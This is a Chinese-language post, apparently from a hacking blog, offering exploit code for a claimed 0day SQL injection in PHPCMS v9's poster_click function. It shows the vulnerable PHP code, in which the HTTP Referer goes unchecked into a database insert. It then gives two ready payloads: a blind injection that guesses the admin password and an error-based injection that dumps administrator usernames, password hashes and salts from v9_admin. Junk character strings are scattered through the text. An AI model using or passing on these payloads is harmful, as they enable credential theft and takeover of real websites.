phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

( C% p0 L% Z: q5 J6 @" h问题函数\phpcms\modules\poster\index.php
+ i5 z; l0 t! z2 l: M: f+ @  }3 I
4 z+ g+ H; \* A8 hpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( K. A* [9 \! I$ V! p; r4 C$r = $this->db->get_one(array('id'=>$id));
* O6 Z7 s% Q1 v' hif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
- q6 K) J) \: U$ip = ip();
2 r1 Y6 D& Y/ U; N2 H/ Y$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
' t$ C7 M# J# A4 c! C% y( o$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
5 ^1 b+ _0 h3 w% ?$ }$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
7 W) k  U' {5 n2 p2 s$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
6 n9 z  [1 s4 ^) [* z# R. P8 Uif (count($setting)==1) {
: V8 Q4 ^; \& Q$url = $setting['1']['linkurl'];
! X- ~+ x- k2 u* ?) Z7 I} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}


3 A4 S" i- i4 q/ n: Z
( y' q2 \1 h" r2 u' B8 \- Z  S利用方式：

% U6 ?% @' `3 l* P" R1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
2 b$ _* f" I& N: f7 h, n. @' l  L
4 |5 t' q- ?/ U) s) L, |- O6 ?通过返回页面，正常与否一个个猜解密码字段。

! G+ g' W' G+ _- X9 I9 c2、代码是花开写的，随手附上了：
. f2 z) t0 d7 T' C
' C% r5 E$ p, R# S+ Y6 p2 ~) U+ k1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

% ?4 a8 F6 q. }: K: B( N# F% D! K- D此方法是爆错注入手法，原理自查。
$ z" }8 w! {3 h( K! x) C) B
